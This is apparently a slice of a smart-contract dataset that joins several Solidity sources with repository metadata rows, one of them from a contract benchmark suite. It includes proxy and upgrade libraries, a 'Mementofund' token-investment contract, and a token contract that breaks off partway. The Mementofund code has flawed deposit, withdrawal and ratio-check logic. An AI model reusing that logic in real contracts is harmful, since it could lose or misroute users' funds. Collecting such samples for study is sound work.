totalEarnFromCircle[0] = userCircleData[idToAddress[id]][0].totalEarnFromCircle;
totalEarnFromCircle[1] = userCircleData[idToAddress[id]][1].totalEarnFromCircle;
totalEarnFromCircle[2] = userCircleData[idToAddress[id]][2].totalEarnFromCircle;
return (totalEarn, totalEarnFromCircle, FortuneWheelWins, userStartTime);
}
function getAFKLength() public view returns(uint256){
return AFKUsers.length;
}
}
| 288,010 | 13,208 |
ca9238cd09c15227439f79e36511f32479bad37d15bc0fabc098bb3a2bff3c91
| 33,693 |
.sol
|
Solidity
| false |
519123139
|
JolyonJian/contracts
|
b48d691ba0c2bfb014a03e2b15bf7faa40900020
|
contracts/3908_22026_0x7daec605e9e2a1717326eedfd660601e2753a057.sol
| 3,783 | 15,972 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Proxy {
function _delegate(address implementation) internal virtual {
// solhint-disable-next-line no-inline-assembly
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
function _implementation() internal view virtual returns (address);
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
fallback () external payable virtual {
_fallback();
}
receive () external payable virtual {
_fallback();
}
function _beforeFallback() internal virtual {
}
}
abstract contract ERC1967Upgrade {
// This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1
bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
event Upgraded(address indexed implementation);
function _getImplementation() internal view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
}
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
function _upgradeToAndCall(address newImplementation, bytes memory data, bool forceCall) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(newImplementation, data);
}
}
function _upgradeToAndCallSecure(address newImplementation, bytes memory data, bool forceCall) internal {
address oldImplementation = _getImplementation();
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(newImplementation, data);
}
// Perform rollback test if not already in progress
StorageSlot.BooleanSlot storage rollbackTesting = StorageSlot.getBooleanSlot(_ROLLBACK_SLOT);
if (!rollbackTesting.value) {
// Trigger rollback using upgradeTo from the new implementation
rollbackTesting.value = true;
Address.functionDelegateCall(newImplementation,
abi.encodeWithSignature("upgradeTo(address)",
oldImplementation));
rollbackTesting.value = false;
// Check rollback was effective
require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades");
// Finally reset to the new implementation and log the upgrade
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
}
function _upgradeBeaconToAndCall(address newBeacon, bytes memory data, bool forceCall) internal {
_setBeacon(newBeacon);
emit BeaconUpgraded(newBeacon);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(IBeacon(newBeacon).implementation(), data);
}
}
bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
event AdminChanged(address previousAdmin, address newAdmin);
function _getAdmin() internal view returns (address) {
return StorageSlot.getAddressSlot(_ADMIN_SLOT).value;
}
function _setAdmin(address newAdmin) private {
require(newAdmin != address(0), "ERC1967: new admin is the zero address");
StorageSlot.getAddressSlot(_ADMIN_SLOT).value = newAdmin;
}
function _changeAdmin(address newAdmin) internal {
emit AdminChanged(_getAdmin(), newAdmin);
_setAdmin(newAdmin);
}
bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;
event BeaconUpgraded(address indexed beacon);
function _getBeacon() internal view returns (address) {
return StorageSlot.getAddressSlot(_BEACON_SLOT).value;
}
function _setBeacon(address newBeacon) private {
require(Address.isContract(newBeacon),
"ERC1967: new beacon is not a contract");
require(Address.isContract(IBeacon(newBeacon).implementation()),
"ERC1967: beacon implementation is not a contract");
StorageSlot.getAddressSlot(_BEACON_SLOT).value = newBeacon;
}
}
interface IBeacon {
function implementation() external view returns (address);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ProxyAdmin is Ownable {
function getProxyImplementation(TransparentUpgradeableProxy proxy) public view virtual returns (address) {
// We need to manually run the static call since the getter cannot be flagged as view
// bytes4(keccak256("implementation()")) == 0x5c60da1b
(bool success, bytes memory returndata) = address(proxy).staticcall(hex"5c60da1b");
require(success);
return abi.decode(returndata, (address));
}
function getProxyAdmin(TransparentUpgradeableProxy proxy) public view virtual returns (address) {
// We need to manually run the static call since the getter cannot be flagged as view
// bytes4(keccak256("admin()")) == 0xf851a440
(bool success, bytes memory returndata) = address(proxy).staticcall(hex"f851a440");
require(success);
return abi.decode(returndata, (address));
}
function changeProxyAdmin(TransparentUpgradeableProxy proxy, address newAdmin) public virtual onlyOwner {
proxy.changeAdmin(newAdmin);
}
function upgrade(TransparentUpgradeableProxy proxy, address implementation) public virtual onlyOwner {
proxy.upgradeTo(implementation);
}
function upgradeAndCall(TransparentUpgradeableProxy proxy, address implementation, bytes memory data) public payable virtual onlyOwner {
proxy.upgradeToAndCall{value: msg.value}(implementation, data);
}
}
abstract contract UUPSUpgradeable is ERC1967Upgrade {
function upgradeTo(address newImplementation) external virtual {
_authorizeUpgrade(newImplementation);
_upgradeToAndCallSecure(newImplementation, bytes(""), false);
}
function upgradeToAndCall(address newImplementation, bytes memory data) external payable virtual {
_authorizeUpgrade(newImplementation);
_upgradeToAndCallSecure(newImplementation, data, true);
}
function _authorizeUpgrade(address newImplementation) internal virtual;
}
abstract contract Proxiable is UUPSUpgradeable {
function _authorizeUpgrade(address newImplementation) internal override {
_beforeUpgrade(newImplementation);
}
function _beforeUpgrade(address newImplementation) internal virtual;
}
contract ChildOfProxiable is Proxiable {
function _beforeUpgrade(address newImplementation) internal virtual override {}
}
contract ERC1967Proxy is Proxy, ERC1967Upgrade {
constructor(address _logic, bytes memory _data) payable {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
_upgradeToAndCall(_logic, _data, false);
}
function _implementation() internal view virtual override returns (address impl) {
return ERC1967Upgrade._getImplementation();
}
}
contract TransparentUpgradeableProxy is ERC1967Proxy {
constructor(address _logic, address admin_, bytes memory _data) payable ERC1967Proxy(_logic, _data) {
assert(_ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1));
_changeAdmin(admin_);
}
modifier ifAdmin() {
if (msg.sender == _getAdmin()) {
_;
} else {
_fallback();
}
}
function admin() external ifAdmin returns (address admin_) {
admin_ = _getAdmin();
}
function implementation() external ifAdmin returns (address implementation_) {
implementation_ = _implementation();
}
function changeAdmin(address newAdmin) external virtual ifAdmin {
_changeAdmin(newAdmin);
}
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeToAndCall(newImplementation, bytes(""), false);
}
function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin {
_upgradeToAndCall(newImplementation, data, true);
}
function _admin() internal view virtual returns (address) {
return _getAdmin();
}
function _beforeFallback() internal virtual override {
require(msg.sender != _getAdmin(), "TransparentUpgradeableProxy: admin cannot fallback to proxy target");
super._beforeFallback();
}
}
// Kept for backwards compatibility with older versions of Hardhat and Truffle plugins.
contract AdminUpgradeabilityProxy is TransparentUpgradeableProxy {
constructor(address logic, address admin, bytes memory data) payable TransparentUpgradeableProxy(logic, admin, data) {}
}
| 229,914 | 13,209 |
009cac177471ca6cea41f438adf4427bfc965e17203c71d33b52a427ac95a90f
| 20,799 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0xe55eaed7c9d6d0a4f25aee55f016b6f1ad558d2d.sol
| 4,696 | 20,332 |
pragma solidity ^0.5.11;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
interface ERC20 {
function totalSupply() external view returns (uint supply);
function balanceOf(address _owner) external view returns (uint balance);
function transfer(address _to, uint _value) external returns (bool success);
function transferFrom(address _from, address _to, uint _value) external returns (bool success);
function approve(address _spender, uint256 _value) external returns (bool success);
function allowance(address _owner, address _spender) external view returns (uint remaining);
function decimals() external view returns(uint digits);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
interface KyberNetworkProxyInterface {
function getExpectedRate(ERC20 src, ERC20 dest, uint srcQty) external view returns (uint expectedRate, uint slippageRate);
function tradeWithHint(ERC20 src, uint srcAmount, ERC20 dest, address destAddress,
uint maxDestAmount, uint minConversionRate, address walletId, bytes calldata hint) external payable returns(uint);
}
interface CERC20 {
function mint(uint mintAmount) external returns (uint);
function redeemUnderlying(uint redeemAmount) external returns (uint);
function borrow(uint borrowAmount) external returns (uint);
function repayBorrow(uint repayAmount) external returns (uint);
function borrowBalanceCurrent(address account) external returns (uint);
function exchangeRateCurrent() external returns (uint);
function balanceOf(address account) external view returns (uint);
function decimals() external view returns (uint);
function underlying() external view returns (address);
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "caller must be the Contract Owner");
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "New Owner must not be empty.");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Mementofund is Ownable {
using SafeMath for uint256;
uint minRate;
uint256 public developerFeeRate;
uint public managerTransactionFee;
uint public managerFundFee;
uint accountIndexMax;
uint userTokenCount;
event managerAddressUpdated(address newaddress);
event kybertrade(address _src, uint256 _amount, address _dest, uint256 _destqty);
event deposit(ERC20 _src, uint256 _amount);
address public DAI_ADDR;
address payable public CDAI_ADDR;
address payable public KYBER_ADDR;
address payable public ADMIN_ADDR;
address payable public COMPOUND_ADDR;
ERC20 internal dai;
KyberNetworkProxyInterface internal kyber;
CERC20 internal CDai;
bytes public constant PERM_HINT = "PERM";
ERC20 internal constant ETH_TOKEN_ADDRESS = ERC20(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee);
uint constant internal PRECISION = (10**18);
uint constant internal MAX_QTY = (10**28);
uint constant internal ETH_DECIMALS = 18;
uint constant internal MAX_DECIMALS = 18;
struct Account{
address payable benefactorAddress;
string benefactorName;
address payable managerAddress;
address[] signatories;
uint creationDate;
uint unlockDate;
uint preUnlockMonthlyquota;
}
struct Investment{
uint256 timestamp;
address depositedBy;
address srcTokenAddress;
uint256 srcAmount;
address destTokenAddress;
uint256 destAmount;
}
struct Memory{
uint256 timestamp;
address depositedBy;
bytes ipfshash;
string memoryText;
string filetype;
}
mapping(address => mapping(uint => address)) public usertokenMapping;
mapping(address => uint) public userTokens;
mapping(address => mapping(address => uint256)) public userBalance;
mapping(address => Account) public accounts;
mapping(address => Investment[]) public userInvestments;
constructor(address payable _adminAddr,
address _daiAddr,
address payable _kyberAddr,
address payable _cdaiAddr) public {
KYBER_ADDR = _kyberAddr;
ADMIN_ADDR = _adminAddr;
CDAI_ADDR = _cdaiAddr;
DAI_ADDR = _daiAddr;
dai = ERC20(DAI_ADDR);
CDai = CERC20(CDAI_ADDR);
kyber = KyberNetworkProxyInterface(_kyberAddr);
bool daiApprovalResult = dai.approve(DAI_ADDR, 2**256-1);
require(daiApprovalResult, "Failed to approve cDAI contract to spend DAI");
}
modifier onlyFundAdmin() {
require(isFundAdmin(), "Only Fund Manger is Authorised to execute that function.");
_;
}
function isFundAdmin() public view returns (bool) {
return msg.sender == ADMIN_ADDR;
}
function isRegisteredBenefactor(address _account) public view returns (bool) {
if (accounts[_account].benefactorAddress != address(0x00)){
return true;
}
}
function isAccountManager(address _account) public view returns (bool) {
if (accounts[_account].managerAddress == msg.sender){
return true;
}
}
function handleIndexes(address _account, address _token) internal {
if (userBalance[_account][_token] == 0x00) {
usertokenMapping[_account][userTokens[_account]] = _token;
userTokens[_account] += 1;
}
}
function registerAccount(address payable _benefactorAddress, string memory _benefactorName,
address payable _managerAddress, address[] memory _signatories, uint _unlockDate,
uint _preUnlockMonthlyquota) public returns(bool) {
if (accounts[_benefactorAddress].benefactorAddress == address(0x00)){
Account storage account = accounts[_benefactorAddress];
account.benefactorAddress = _benefactorAddress;
account.benefactorName = _benefactorName;
account.managerAddress = _managerAddress;
account.signatories = _signatories;
account.creationDate = now;
account.unlockDate = _unlockDate;
account.preUnlockMonthlyquota = _preUnlockMonthlyquota;
}
}
function _kybertrade(ERC20 _srcToken, uint256 _srcAmount, ERC20 _destToken)
internal
returns(uint256 _actualDestAmount)
{
require(_srcToken != _destToken, "Source matches Destination.");
uint256 msgValue;
uint256 rate;
if (_srcToken != ETH_TOKEN_ADDRESS) {
msgValue = 0;
_srcToken.approve(KYBER_ADDR, 0);
_srcToken.approve(KYBER_ADDR, _srcAmount);
} else {
msgValue = _srcAmount;
}
(,rate) = kyber.getExpectedRate(_srcToken, _destToken, _srcAmount);
_actualDestAmount = kyber.tradeWithHint.value(msgValue)(_srcToken,
_srcAmount,
_destToken,
address(uint160(address(this))),
MAX_QTY,
rate,
address(0),
PERM_HINT);
require(_actualDestAmount > 0, "Destination value must be greater than 0");
if (_srcToken != ETH_TOKEN_ADDRESS) {
_srcToken.approve(KYBER_ADDR, 0);
}
}
function investEthToDai(address _account) public payable returns (bool) {
require(isRegisteredBenefactor(_account),"Specified account must be registered.");
handleIndexes(_account, address(DAI_ADDR));
uint256 destqty = _kybertrade(ETH_TOKEN_ADDRESS, msg.value, dai);
userBalance[_account][address(DAI_ADDR)] = userBalance[_account][address(DAI_ADDR)].add(destqty);
userInvestments[_account].push(Investment({
timestamp: now,
depositedBy: msg.sender,
srcTokenAddress: address(ETH_TOKEN_ADDRESS),
srcAmount: msg.value,
destTokenAddress: address(DAI_ADDR),
destAmount: destqty
}));
emit kybertrade(address(ETH_TOKEN_ADDRESS), msg.value, DAI_ADDR, destqty);
return true;
}
function investEthToToken(address _account, ERC20 _token) external payable returns (bool) {
require(isRegisteredBenefactor(_account),"Sepcified account must be registered");
handleIndexes(_account, address(_token));
uint256 destqty = _kybertrade(ETH_TOKEN_ADDRESS, msg.value, _token);
userBalance[_account][address(_token)] = userBalance[_account][address(_token)].add(destqty);
userInvestments[_account].push(Investment({
timestamp: now,
depositedBy: msg.sender,
srcTokenAddress: address(ETH_TOKEN_ADDRESS),
srcAmount: msg.value,
destTokenAddress: address(_token),
destAmount: destqty
}));
emit kybertrade(address(ETH_TOKEN_ADDRESS), msg.value, address(_token), destqty);
return true;
}
function investToken(address _account, ERC20 _token, uint256 _amount) external returns (bool) {
require(isRegisteredBenefactor(_account),"Specified account must be registered");
require(_token.balanceOf(msg.sender) >= _amount, "Sender balance Too Low.");
require(_token.approve(address(this), _amount), "Fund not approved to transfer senders Token Balance");
require(_token.transfer(address(this), _amount), "Sender hasn'tr transferred tokens.");
handleIndexes(_account, address(_token));
userBalance[_account][address(_token)] = userBalance[_account][address(_token)].add(_amount);
userInvestments[_account].push(Investment({
timestamp: now,
depositedBy: msg.sender,
srcTokenAddress: address(_token),
srcAmount: _amount,
destTokenAddress: address(_token),
destAmount: _amount
}));
return true;
}
function investTokenToToken(address _account, ERC20 _token, uint256 _amount, ERC20 _dest) external returns (bool) {
require(isRegisteredBenefactor(_account), "Specified account must be registered");
require(_token.balanceOf(msg.sender) >= _amount, "Account token balance must be greater that spscified amount");
require(_token.approve(address(this), _amount), "Contract must be approved to transfer Specified token");
require(_token.transfer(address(this), _amount), "Specified Token must be tranferred from caller to contract");
handleIndexes(_account, address(_token));
uint destqty = _kybertrade(_token, _amount, _dest);
userBalance[_account][address(_token)] = userBalance[_account][address(_token)].add(destqty);
userInvestments[_account].push(Investment({
timestamp: now,
depositedBy: msg.sender,
srcTokenAddress: address(_token),
srcAmount: _amount,
destTokenAddress: address(_dest),
destAmount: destqty
}));
emit deposit(_dest, destqty);
return true;
}
function splitInvestEthToToken(address _account, address[] memory _tokens, uint[] memory _ratios) public payable {
require(isRegisteredBenefactor(_account),"Specified account must be registered");
require(msg.value > 0, "Transaction must have ether value");
require(_tokens.length == _ratios.length, "unmatched array lengths");
handleIndexes(_account, address(ETH_TOKEN_ADDRESS));
uint256 msgValue = msg.value;
require(_tokens.length > 0, "Array must be greater than 0.");
uint quotaTotal;
for (uint i = 0;i < _tokens.length; i++) {
quotaTotal = quotaTotal.add(quotaTotal);
}
require(quotaTotal < 100, "Split Total Greater than 100.");
for (uint i = 0; i < _tokens.length; i++) {
handleIndexes(_account, address(_tokens[i]));
uint256 quota = (msg.value * _ratios[i]) / 100;
require(quota < msg.value, "Quota Split greater than Message Value");
uint destqty = _kybertrade(ETH_TOKEN_ADDRESS, quota, ERC20(_tokens[i]));
userBalance[_account][address(_tokens[i])] = userBalance[_account][address(_tokens[i])].add(destqty);
userInvestments[_account].push(Investment({
timestamp: now,
depositedBy: msg.sender,
srcTokenAddress: address(ETH_TOKEN_ADDRESS),
srcAmount: quota,
destTokenAddress: address(_tokens[i]),
destAmount: destqty
}));
msgValue = msgValue.sub(quota);
emit kybertrade(address(ETH_TOKEN_ADDRESS),quota, address(_tokens[i]), destqty);
}
userBalance[_account][address(ETH_TOKEN_ADDRESS)] = userBalance[_account][address(ETH_TOKEN_ADDRESS)].add(msgValue);
userInvestments[_account].push(Investment({
timestamp: now,
depositedBy: msg.sender,
srcTokenAddress: address(ETH_TOKEN_ADDRESS),
srcAmount: msgValue,
destTokenAddress: address(ETH_TOKEN_ADDRESS),
destAmount: msgValue
}));
}
function swapTokenToEther (address _account, ERC20 _src, uint _amount) public {
require(isAccountManager(_account),"Caller must be registered as an Account Manager");
uint destqty = _kybertrade(_src, _amount, ETH_TOKEN_ADDRESS);
userBalance[_account][address(_src)] = userBalance[_account][address(_src)].sub(_amount);
userBalance[_account][address(ETH_TOKEN_ADDRESS)] = userBalance[_account][address(ETH_TOKEN_ADDRESS)].add(destqty);
emit kybertrade(address(_src), _amount, address(ETH_TOKEN_ADDRESS), destqty);
}
function swapEtherToToken (address _account, ERC20 _dest, uint _amount) public {
require(isAccountManager(_account),"Caller must be registered as an Account Manager");
uint destqty = _kybertrade(ETH_TOKEN_ADDRESS, _amount, _dest);
userBalance[_account][address(_dest)] = userBalance[_account][address(_dest)].add(destqty);
userBalance[_account][address(ETH_TOKEN_ADDRESS)] = userBalance[_account][address(ETH_TOKEN_ADDRESS)].sub(_amount);
emit kybertrade(address(ETH_TOKEN_ADDRESS), _amount, address(_dest), destqty);
}
function swapTokenToToken(address _account, ERC20 _src, uint256 _amount, ERC20 _dest) public {
require(isAccountManager(_account),"Caller must be registered as an Account Manager");
uint destqty = _kybertrade(_src, _amount, _dest);
userBalance[_account][address(_src)] = userBalance[_account][address(_src)].sub(_amount);
userBalance[_account][address(_dest)] = userBalance[_account][address(_dest)].add(destqty);
emit kybertrade(address(_src), _amount, address(_dest), destqty);
}
function updateAdminAddress(address payable _newaddress) external onlyFundAdmin returns (bool) {
require(_newaddress != address(0),"New admin address must not be blank");
require(_newaddress != ADMIN_ADDR, "New admin addres must not be current admin address");
ADMIN_ADDR = _newaddress;
emit managerAddressUpdated(_newaddress);
}
function updateDaiAddress(address payable _newaddress) external onlyFundAdmin returns (bool) {
require(_newaddress != address(0),"New admin address must not be blank");
require(_newaddress != DAI_ADDR, "New DAI Contract adress must not be current DAI Contract Address");
DAI_ADDR = _newaddress;
}
function updateKyberAddress(address payable _newaddress) external onlyFundAdmin returns (bool) {
require(_newaddress != address(0),"New admin address must not be blank");
require(_newaddress != KYBER_ADDR, "New KYBER Contract address must be different from old Contract Address");
KYBER_ADDR = _newaddress;
}
function getBalance(address _account, ERC20 _token) public view returns(uint256) {
return userBalance[_account][address(_token)];
}
function withdraw(address payable _account, ERC20 _token, uint256 _amount) public {
require(isRegisteredBenefactor(address(_account)));
require(now > accounts[_account].unlockDate);
require(userBalance[msg.sender][address(_token)] >= _amount);
if (_token == ETH_TOKEN_ADDRESS) {
userBalance[msg.sender][address(_token)] = userBalance[msg.sender][address(_token)].sub(_amount);
msg.sender.transfer(_amount);
} else {
userBalance[msg.sender][address(_token)] = userBalance[msg.sender][address(_token)].sub(_amount);
_token.transfer(msg.sender, _amount);
}
}
function closeaccount(address payable _account) public {
require(isRegisteredBenefactor(_account));
require(block.timestamp > accounts[_account].unlockDate);
require(userTokens[_account] > 0, "User Tokens must be greater than 0");
for (uint i = 0; i < userTokens[msg.sender]; i++) {
address token = usertokenMapping[msg.sender][i];
uint256 balance = userBalance[msg.sender][token];
withdraw(_account, ERC20(token), balance);
}
}
function () external payable {
userBalance[ADMIN_ADDR][address(ETH_TOKEN_ADDRESS)] = userBalance[ADMIN_ADDR][address(ETH_TOKEN_ADDRESS)].add(msg.value);
}
}
| 165,142 | 13,210 |
2c3078d6de5b6ae719011adbf23db58a01f4f061db22d10fab658b464e5e6d85
| 12,132 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TL/TLr3RVkodXDTA9tWZ3SKqvUX3yyx3m2s8c_SWDToken.sol
| 2,993 | 11,874 |
//SourceUnit: SWDToken.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface ITRC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
